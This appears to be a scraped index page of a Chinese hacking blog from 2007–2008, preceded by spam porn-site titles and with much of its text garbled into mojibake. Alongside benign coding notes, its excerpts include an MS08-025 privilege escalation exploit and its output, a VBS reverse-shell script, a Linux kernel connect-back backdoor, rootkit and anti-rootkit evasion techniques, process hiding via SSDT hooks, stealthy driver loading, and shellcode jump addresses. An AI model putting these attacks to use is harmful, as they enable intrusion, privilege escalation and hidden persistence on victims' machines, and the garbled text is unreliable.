亚洲制服丝袜第一页,亚洲爆乳AAA无码专区,亚洲老熟女@TubeumTV

改了个linux下的c代码为windows版本

009 — Fri, 09 May 2008 06:51:00 GMT

摘要:
Windows的C++没有pthread_t�c�d��Q�linux中有个pthread.h�Q�很多站的VC代码�Q�都不知道从哪包含来的，shit
�|�上看到有一个叫 POSIX Threads for Win32 的开源项目给��Z��一个功能比较完善的Windows下pthreads API的实现�?

阅读全文

009 2008-05-09 14:51 发表评论

009 — Fri, 09 May 2008 06:33:00 GMT

摘要:
本文的内�Ҏ�� Win32 API�Q�特别是�q�程、线�E�和�׃�n内存服务�Q�到 POWER �?Linux 的映��。本文可以帮助您��定哪种映射服务最适合您的需要。作者向您详�l�介�l�了他在�U�L�� Win32 C/C++ 应用�E�序旉��到的 API 映射�?

阅读全文

009 2008-05-09 14:33 发表评论

MS08-025 for win2k & win2k3

009 — Thu, 17 Apr 2008 15:43:00 GMT

摘要: Win2k CN SP2 �Q�Win2k3 CN SP1下测试通过�Q�其它未��试(不装XP那种垃圾)
D:\>ms08025 whoami

MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1

Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo 阅读全文

009 2008-04-17 23:43 发表评论

用C++修改本地安全�{�略

009 — Wed, 30 Jan 2008 05:30:00 GMT

摘要: 要写个修�Ҏ��地安全策略的工具�Q�本以�ؓ修改注册表就行了�Q�没惛_��q�挺复杂�Q�改�{�略�Q�对应的注册表项会变�Q�倒过来，改对应的注册表项�Q�策略没变，郁闷
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改�ơ数
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00, 阅读全文

009 2008-01-30 13:30 发表评论

新手�~�译驱动

009 — Tue, 08 Jan 2008 08:20:00 GMT

摘要: �|�上找了N多资�?说得我晕头�{向的,都是TMD资深��N��U�别的文�?最后简单几步也可以搞定,�q�程如下:

我的SDK本来��是装好�?再装个DDK,��是重装�pȝ��,只要DDK目录�q�在,重新指定下即�?不用重装DDK
DDK目录�? f:\WINDDK\3790.1830

以下以HelloWorld��Z��
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
阅读全文

009 2008-01-08 16:20 发表评论

��单认识Anti-RootKit(ZT)

009 — Sat, 29 Dec 2007 07:09:00 GMT

摘要: 现在RK�Q�rootkit�Q�和ARK(anti- rootkit)的斗争已�l�进行了很久�Q�在印象中最早出来的ARK工具是冰�?IceSword)�Q�从冰刃开始出来到现在RK和ARK的斗争一直在�l�箋�Q�目前冰刃还是在��行当中�Q�自己感觉也正是冰刃的出来才带动了当前流行的RK和ARK的斗争呵呵，现在很多病毒木马已经�q�泛的带有驱�?使用一些RK的技术和�Ҏ��使自己更底层些更强大些，当前��行的ARK工具主要包括�Q�隐藏进�E�检��，内核驱动��，SSDT��，代码HOOK��，注册表隐藏的��，隐藏文�g的检��等一些功能的�Q�下面谈谈自己对一些功能的��单愚�?��d��?
..........
阅读全文

009 2007-12-29 15:09 发表评论

无�ȝ��驱动加蝲�?ZT)

009 — Sat, 29 Dec 2007 06:59:00 GMT

摘要: �Ҏ��一�Q?替换win32k.sys
�?k3的系�l�下ZwSetSystemInformation��止了用��h��式下加蝲驱动�Q�只允许SMSS.exe加蝲win32k.sys。于是我们可以利用一下这个特点：
1. 注入SMSS.EXE
2. 打开SeLoadDriverPrivilege权限
3. 把原始的win32k.sys改名
4. 复制我们的驱动到\systemroot\system32�?
5. 在SMSS.EXE中加载\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文�g改名改回�?
..............
阅读全文

009 2007-12-29 14:59 发表评论

实例解析蠕虫病毒的原�?ZT)

009 — Fri, 28 Dec 2007 07:44:00 GMT

摘要: 　　一、蠕虫病毒具有自我复制能�?

　　我们以普通的VB脚本��Z��来看看：
JavaScript代码

1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '创徏一个文件系�l�对�?
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通过文�g�pȝ��对象的方法创��Z��一个TXT文�g�?
.....................
阅读全文

009 2007-12-28 15:44 发表评论

软�g漏洞分析入门[初��shellcode_定位�~�冲区](ZT)

009 — Fri, 28 Dec 2007 07:41:00 GMT

摘要: 跟脓中看到已�l�有不少朋友成功的完成了前面的所有例题，今天我们在前面的基础上，�l�箋深入。每一讲我都会引入一些新的知识和技术，但只有一点点�Q�因为我希望在您��d��贴之后就能立��L��化吸�Ӟ��q�是标准的��@序渐�q�的案例式学习方�?

另外在今天开始之前，我顺便说一下后面的教学计划�Q?

我会再用3�?�ơ的讲��来阐�q�shellcode技术，��保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用�E�序�Q�exploit�Q?
..........
阅读全文

009 2007-12-28 15:41 发表评论

软�g漏洞分析入门[初��栈溢出D_植入��L��代码](ZT)

009 — Fri, 28 Dec 2007 07:40:00 GMT

摘要: 麻雀虽小�Q�五脏俱�?

如果您顺利的学完了前�?讲的内容�Q��ƈ成功的完成了�W?讲和�W?讲中的实验，那么今天误��我来一��h��战一下劫持有漏洞的进�E�，�q�向其植入恶意代码的实验�Q�相信您成功完成�q�个实验后，学习的兴��和自信心都会暴增�?

开始之前，先简要的回答一下前几讲跟脓中提出的问题

代码�~�译��头文�g问题�Q�可能是个�h习惯问题�Q�哪怕几行长的程序我也会丢到project里去build�Q�而不是用cl�Q�所以没有注意细节。如果你们嫌�ȝ��Q�不如和我一��L��project来build�Q�应该没有问题的。否则的话，实验用的�E�序实在太简单了�Q�这么一点小问题自己决绝吧。另外，看到几个同学说�ؓ了实验，专门恢复了古老的VC6.0�Q�我也感动不已啊�Q�呵��c�?
...............
阅读全文

009 2007-12-28 15:40 发表评论

软�g漏洞分析入门[初��栈溢出C_修改�E�序��程](ZT)

009 — Fri, 28 Dec 2007 07:39:00 GMT

摘要: 上节课没有操�l�滴东西�Q�不��蠢蠢欲动的同学肯定已经坐不住了。悟�I�，不要猴急，下面的两堂课都是实践课，用来在实践中深入体会上节课中的知识，�q�且很有��味性哦

信息安全技术是一个对技术性要求极高的领域�Q�除了扎实的计算机理论基��外、更重要的是优秀的动手实践能力。在我看来，不懂二进制就无从谈�v安全技术�?

�~�冲区溢出的概念我若�q�年前已�l�了然于胸，不就是��个返回地址把CPU指到�~�冲区的shellcode��M��。然而当我开始动手实�늚�时候，才发现实际中的情况远�q�比原理复杂�?
................
阅读全文

009 2007-12-28 15:39 发表评论

软�g漏洞分析入门[初��栈溢出B_�pȝ��栈原理](ZT)

009 — Fri, 28 Dec 2007 07:34:00 GMT

摘要: 扫盲班第三讲开译֕��Q?
上节课我们用��过数组边界的一个字节把��L��的标志变量修�Ҏ��0�Q�从而突破了密码验证�E�序。您实验成功了吗�Q�没有的话回��d��完实验在来听今天的课�Q?

有几个同学反映编译器的问题，我还是徏议用VC6.0�Q�因为它build出来的PE最适合初学者领会概��c��而且�q�门译֊�手很重要�Q�基本上我的实验指导都是按VC6.0来写的，用别的build出来要是有点出入�Q�实验不成功的话会损失学习积极性滴——实验获得的成就感是学习最好的动力�?
............
阅读全文

009 2007-12-28 15:34 发表评论

软�g漏洞分析入门[初��栈溢出A_初识数组��界](ZT)

009 — Fri, 28 Dec 2007 07:33:00 GMT

摘要: 本想来点大道理申明下研究思�\啥的�Q�看到大家的热情期待�Q�稍微调整一下讲评��序。从今天开始，��用3�?�ơ给大家做一下栈溢出的扫盌Ӏ?

栈溢出的文章�|�上�q�是有不��的�Q�其实优�U�的也��׃��三篇�Q�，原理也不难，读过基本上就能够明白是怎么回事。本�ơ讲解将主要集中在动手调试方面，更加着重实��c�?

�l�过�q?�?�ơ的栈溢出扫�Ԍ��我们的目标是�Q?

领会栈溢出攻�ȝ��基本原理
能够动手调试��易的栈溢出漏�z�程序，�q�能够利用漏�z�执行�Q意代码（最��易的shellcode�Q?
.............
阅读全文

009 2007-12-28 15:33 发表评论

软�g漏洞分析入门[引子](ZT)

009 — Fri, 28 Dec 2007 07:32:00 GMT

摘要: 您是否梦惌��能够像电�׃��演的那样黑进��L��一台机器远�E�操控？您的梦想是否曄��被书店里�Ҏ��架子的反黑，防毒�Q�擒木马的扫盲书强暴的体无完肤？

从今天开始，准备陆箋发一�p�d��关于软�g漏洞斚w��基础知识的帖子，包括软�g漏洞的研�I��h��|��研究�Ҏ��Q�堆栈利用的基础知识�Q�shellcode的调试方法，漏洞调试�Ҏ��Q�漏�z�分析，漏洞挖掘�Q��Y件安全性测试等�{�，此外�q�将介绍一些metasploit架构和fuzz��试斚w��的入门知识�?

软�g漏洞分析�Q�利用，发掘是当今安全技术界中流砥柱�U�别话题�Q�如果您��x��q�black hat或者defcon之类的顶�U�安全技术峰会的话，��q��道我不是在吹牛了。可惜的是这斚w��的中文资料很��，偶尔有一��比较优�U�的文章但又不够系�l�，目前为止也没有�Ş成像破解技术这��L��讨论风气�Q�菜鸟们在黑灯瞎火的夜晚瞎折腾，没有交流和指��|��兴趣��像被拔了气弥儿芯的车胎�Q�很快就泄气了�?

虽然漏洞分析与利用与破解在技术上各有侧重点，但逆向基础是共同的。以我个人的�l�验�Q�能做crack的朋友只要稍加进修就能入门。就��没有�Q何汇�~�基��和逆向�l�验的朋友也不用担心�Q�因�� 阅读全文

009 2007-12-28 15:32 发表评论

�?Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏��d��理器进�E�名的一点完�?ZT)

009 — Thu, 27 Dec 2007 14:12:00 GMT

摘要: 通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进�E�已�l�是很老的技术了�?
qiweixue 在他的文章里面写的很清楚�?
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B

不过他的文章里面�Q�进�E�名字是直接写死的，不能通过三层�q�行传递，而且得到ZwQuerySystemInformation是通过汇编的方法，�q�样在其他系�l�上可能会有问题�Q�所以我做了一些改善如下：
1 通过应用�E�序��进�E�名字传递进来，可以传递多个进�E�名字，格式为：qq.exe;taskmgr.exe;
2 通用的方法来得到ZwQuerySystemInformation的地址�Q�不�q�这个方法都是从rookit上得来的�?
...........
阅读全文

009 2007-12-27 22:12 发表评论

让EXE导出函数(ZT)

009 — Thu, 27 Dec 2007 14:11:00 GMT

摘要: 偶然发现OllyDBG.exe导出了一堆函敎ͼ��q�些函数都是供其插�g调用的。对�q�种体系�l�构很感
兴趣�Q�想弄清楚它的实现原理。后来又看到梁肇新的书《编�E�高手箴�a�》第278��|��到的调用
门，觉得都应该差不多�?

三种不同的解军_��法（原理可能是一��L��Q?)�Q�：

1�Q�在导出函数声明之前加上__declspec(dllexport)。例�Q?
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
阅读全文

009 2007-12-27 22:11 发表评论

icesword 驱动部分分析(ZT)

009 — Thu, 27 Dec 2007 14:01:00 GMT

摘要: icesword.exe 在执行的时候会攑և�一个驱动程�?ispubdrv.sys .
icesword.exe 装蝲 �q�个驱动�Q�这个驱动安装后��׃��会卸载。直到系�l�重新启动。这可能是因为驱动中调用�?
PsSetCreateThreadNotifyRoutine 函数.下面是这个函数在 ddk 中的介绍�?
........
阅读全文

009 2007-12-27 22:01 发表评论

利用伪造内核文件来�l�过IceSword的检��?ZT)

009 — Thu, 27 Dec 2007 13:58:00 GMT

摘要: 一、�ؓ什么需要伪造内核：

IceSword�Q�以下简�U�IS�Q��ؓ了防止一些关键系�l�函敎ͼ�包括所有服务中断表中的函数以及IS驱动部分要��用到的一些关键函敎ͼ��?patch�Q�它直接��d��内核文�g�Q�以下简�U�“ntoskrnl.exe”）�Q�然后自己分析ntoskrnl.exe 的PE�l�构来获取关键系�l�函数的原始代码�q�且把当前内�怸�所有的关键�pȝ��函数�q�原为windows默认状态，�q�样保证了IS使用到的函数不被patch �q�。也�怽�会想如果我们把还原后的函数再�q�行patch不还是能�w�的�q�去吗？�W�者也试过
.....................
阅读全文

009 2007-12-27 21:58 发表评论

WIN下获取kernel基址的shellcode探讨(ZT)

009 — Thu, 27 Dec 2007 13:43:00 GMT

摘要: [�l�典溢出��d��程]
——————————�?
1. 查找Kernel32.dll基地址�Q?
2. 查找GetProcAddress()函数地址�Q?
3. 查找其它API函数地址�Q?
4. CreateProcess()�Q?
5. �q�程�q�接�?

我们都知道WINDOWS的系�l�功能不像UNIX的系�l�调用那样实玎ͼ��׃��WINDOWS版本的不断更斎ͼ�使得�pȝ��调用对SHELLCODE几乎起不��C��用�?
但是WINDOWS是靠DLL动态链接库来实玎ͼ��q�就是说�Q�如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址�Q�我们就可以调用WINDOWS下的所有函��C��?
所以我们需要对KERNEL32.DLL�q�行地址定位�Q�这也是本文的目的�?
................
阅读全文

009 2007-12-27 21:43 发表评论

SEH源码赏析之C��?ZT)

009 — Thu, 27 Dec 2007 13:36:00 GMT

摘要: 1.起因
C++�E�序员对try,catch,throw都应该很熟悉,能知道VC怎么实现它的人就不多�?不过�|�络世界使很多�h知道了它与SEH (structured exception handling�Q�有密切关系,我也不例�?也是在若�q�年前从�|�络知道了SEH,�q�且大致也知道SEH的流�E?但是和多��C�h一样在我的实践也很��直接��?SEH,对SEH也就仅限于网�l�上一些文章的介绍.曄��在用Windbg�Ҏ��些��Y件作分析,我遇��C��断点失效的情�?查找资料介绍是SEH中的 Handler清除了调试寄存器,在分�?....................
阅读全文

009 2007-12-27 21:36 发表评论

饶过��C��Anti-Rookit工具的内核模块扫�?ZT)

009 — Thu, 27 Dec 2007 13:32:00 GMT

摘要: 本文描述了一些方法，可以饶过目前��L��的现代Anti-rootkit工具�Q�包括但不限�?
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
�{�等
................
阅读全文

009 2007-12-27 21:32 发表评论

TCP版backshell的VBS脚本

009 — Sat, 22 Dec 2007 08:19:00 GMT

摘要: '搞一个特�D�的站准备用的，没想刎ͼ��{�写完了�Q�洞补上了，郁闷
'by 009, baicker@hotmail.com
'date:071221

Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................

阅读全文

009 2007-12-22 16:19 发表评论

在同一个进�E�空间运行两个程�?ZT)

009 — Thu, 20 Dec 2007 06:36:00 GMT

摘要:
　　众所周知�Q�bo2k可以在一个指定的�q�程�I�间(比如explorer.exe�q�程)做�ؓ一个线�E�运行。本文试图找��Z��U�方法，使得��L��exe都可以在其他�q�程中以�U�程�q�行(当然�Q�这里说�?��L��"是有条�g的，下面会讲�?�?
　　��文简单�v见，我把先加载的exe�U�Cؓ宿主�Q�后加蝲的exe�U�Cؓ客户。对于上面的例子�Q�explorer.exe为宿主，bo2k.exe为客戗��?
基本知识
　　每一个exe都有一个缺省加载基址�Q�一般都�?x400000。如果实际加载基址和缺省基址相同�Q�程序中的重定位表就不需要修�?fixup),否则�Q�就必须修正重定位表�Q?

阅读全文

009 2007-12-20 14:36 发表评论

Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3

009 — Mon, 17 Dec 2007 08:34:00 GMT

摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 ��试通过

之前的版本只能xp下用�Q�这�?k3也可以了�Q�其实前�D�|��间朋友给�q�我一个这个漏�z�的1day�Q�但是朋友的东西不能乱发�Q�这个是自己写的�Q�发出来大家恶心一下�?nbsp; 阅读全文

009 2007-12-17 16:34 发表评论

VC�~�译优化讄��

009 — Fri, 16 Nov 2007 02:20:00 GMT

摘要: VC- Project Setting-Debug-Project Option语法解释

-优化-
/O1 最��化�I�间 minimize space
/Op[-] 改善��点��C��致�?improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 优选代码空�? favor code space
/Oa 假设没有别名 assume no aliasing
/Ot 优选代码速度 favor code speed
/Ob 内联展开�Q�默�?n=0�Q?inline expansion (default n=0)
/Ow 假设交叉函数别名 assume cross-function aliasing
/Od ��用优化�Q�默认��|�� disable optimizations (default)
/Ox 最大化选项�?/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 启用全局优化阅读全文

009 2007-11-16 10:20 发表评论

009 — Wed, 07 Nov 2007 08:54:00 GMT

摘要: 使用OD反汇�~�修改NateOn�Q�虽然很�ȝ��Q�最�l�还是搞定了�Q�后来发现网上有�D�代码，直接可以实现�E�序多开�Q�测试了MSN、NateOn没问题，代码如下�Q?

.386
.model flat, stdcall
option casemap :none

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............

阅读全文

009 2007-11-07 16:54 发表评论

一个简单的Linux内核后门原型(ZT)

009 — Thu, 25 Oct 2007 04:20:00 GMT

摘要: �q�是一个在内核模块中实现的反连后门�Q�大家看看这于应用层上的实现有什么不同吧�Q�呵�?
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt
*
*/
阅读全文

009 2007-10-25 12:20 发表评论

VBS解决�l�端�H�口中特�D�快捷键问题

009 — Mon, 15 Oct 2007 09:27:00 GMT

摘要: 写程序麻烦，�q�要传上去，�q�好VBS每台服务器应该都可以�q�行的吧�Q�很��会又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下脚本：�Q?
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"

以下位SendKeys的相关��用方法等
............

阅读全文

009 2007-10-15 17:27 发表评论

一些opcodes(ZT)

009 — Thu, 11 Oct 2007 07:49:00 GMT

摘要:
一些opcodes
by axis
2007-03-28

�q�日在写exploit的时候需要用��C��些其他语�a�的call ebx的蟩转地址�Q�但是metasploit的opcode DB没有包括�J�体中文、日文、韩文机器的跌��{地址�Q�所以费了点旉��攉��了下�Q�在�q�里要感谢傲��提供的机器�l�我��L��地址。现在脓到这里，方便大家�?

��体中文windows的通用跌��{地址�Q?2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..................
阅读全文

009 2007-10-11 15:49 发表评论

TCP 相关参数解释

009 — Thu, 13 Sep 2007 03:03:00 GMT

摘要: cp_syn_retries �Q�INTEGER
默认值是5
对于一个新��接，内核要发送多��个 SYN �q�接��h��才决定放弃。不应该大于255�Q�默认值是5�Q�对应于180�U�左��x��间�?对于大负载而物理通信良好的网�l�而言,�q�个值偏�?可修改�ؓ2.�q�个��g��仅是针对对外的连�?对进来的�q�接,是由tcp_retries1 军_��?

tcp_synack_retries �Q�INTEGER
默认值是5
对于�q�端的连接请求SYN�Q�内�怼�发送SYN �Q?ACK数据报，以确认收��C��一�?SYN�q�接��h��包。这是所谓的三次握手( threeway handshake)机制的第二个步骤。这里决定内核在攑ּ��q�接之前所送出�?SYN+ACK 数目。不应该大于255�Q�默认值是5�Q�对应于180�U�左��x��间�?可以�Ҏ��上面�?tcp_syn_retries 来决定这个�?

tcp_keepalive_time �Q�INTEGER
默认值是7200(2��时)
当keepalive打开的情况下�Q�TCP发送keepalive消息的频率�?�׃��目前�|�络阅读全文

009 2007-09-13 11:03 发表评论